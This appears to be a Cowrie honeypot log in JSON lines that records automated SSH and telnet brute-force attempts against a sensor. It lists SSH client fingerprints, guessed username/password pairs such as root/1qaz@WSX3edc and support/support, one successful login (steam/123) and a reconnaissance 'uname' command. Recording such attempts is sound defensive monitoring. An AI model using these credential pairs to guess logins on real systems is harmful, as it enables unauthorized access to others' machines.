{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:02.302731Z","src_ip":"83.168.110.85","session":"7c89e17daf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:03.015270Z","src_ip":"83.168.110.85","session":"7c89e17daf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:04.139460Z","src_ip":"83.168.110.85","session":"7c89e17daf18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43720,"dst_ip":"10.17.0.5","dst_port":22,"session":"10f74d39d9e8","protocol":"ssh","message":"New connection: 83.168.110.85:43720 (10.17.0.5:22) [session: 10f74d39d9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:09.242510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:09.247621Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:09.387008Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:09.758199Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:10.063918Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:10.067321Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:10.191907Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:10.200648Z","src_ip":"83.168.110.85","session":"10f74d39d9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53956,"dst_ip":"10.17.0.5","dst_port":22,"session":"657e158f57bd","protocol":"ssh","message":"New connection: 83.168.110.85:53956 (10.17.0.5:22) [session: 657e158f57bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:15.812642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:15.817334Z","src_ip":"83.168.110.85","session":"657e158f57bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:15.937908Z","src_ip":"83.168.110.85","session":"657e158f57bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:16.457755Z","src_ip":"83.168.110.85","session":"657e158f57bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:17.581866Z","src_ip":"83.168.110.85","session":"657e158f57bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":51212,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd87fb225a9d","protocol":"ssh","message":"New connection: 128.201.9.152:51212 (10.17.0.5:22) [session: dd87fb225a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:18.891131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:18.895937Z","src_ip":"128.201.9.152","session":"dd87fb225a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:19.026274Z","src_ip":"128.201.9.152","session":"dd87fb225a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"locust","message":"login attempt [root/locust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:19.560116Z","src_ip":"128.201.9.152","session":"dd87fb225a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:20.687409Z","src_ip":"128.201.9.152","session":"dd87fb225a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53964,"dst_ip":"10.17.0.5","dst_port":22,"session":"126c83834d3b","protocol":"ssh","message":"New connection: 83.168.110.85:53964 (10.17.0.5:22) [session: 126c83834d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:22.394114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:22.400415Z","src_ip":"83.168.110.85","session":"126c83834d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:22.522191Z","src_ip":"83.168.110.85","session":"126c83834d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:23.048295Z","src_ip":"83.168.110.85","session":"126c83834d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:24.172999Z","src_ip":"83.168.110.85","session":"126c83834d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.76993346214294,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:24.787873Z","src_ip":"152.42.224.71","session":"64b295dea3fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59198,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c3c72fc2805","protocol":"ssh","message":"New connection: 83.168.110.85:59198 (10.17.0.5:22) [session: 6c3c72fc2805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:29.461163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:29.470669Z","src_ip":"83.168.110.85","session":"6c3c72fc2805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:29.591724Z","src_ip":"83.168.110.85","session":"6c3c72fc2805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:29.959517Z","src_ip":"83.168.110.85","session":"6c3c72fc2805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:31.304553Z","src_ip":"83.168.110.85","session":"6c3c72fc2805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47184,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bcbcdeee758","protocol":"telnet","message":"New connection: 152.42.224.71:47184 (10.17.0.5:23) [session: 8bcbcdeee758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:36.127781Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35086,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c153ed9ecd","protocol":"ssh","message":"New connection: 83.168.110.85:35086 (10.17.0.5:22) [session: d6c153ed9ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:36.508074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:36.513042Z","src_ip":"83.168.110.85","session":"d6c153ed9ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:36.634752Z","src_ip":"83.168.110.85","session":"d6c153ed9ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:36.998842Z","src_ip":"83.168.110.85","session":"d6c153ed9ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:38.195568Z","src_ip":"83.168.110.85","session":"d6c153ed9ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47190,"dst_ip":"10.17.0.5","dst_port":23,"session":"119d11398fad","protocol":"telnet","message":"New connection: 152.42.224.71:47190 (10.17.0.5:23) [session: 119d11398fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:40.822386Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35096,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe7a2abf282","protocol":"ssh","message":"New connection: 83.168.110.85:35096 (10.17.0.5:22) [session: bfe7a2abf282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:43.356306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:43.361958Z","src_ip":"83.168.110.85","session":"bfe7a2abf282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:43.482431Z","src_ip":"83.168.110.85","session":"bfe7a2abf282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:43.986400Z","src_ip":"83.168.110.85","session":"bfe7a2abf282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:17:45.120362Z","src_ip":"83.168.110.85","session":"bfe7a2abf282","protocol":"ssh"}
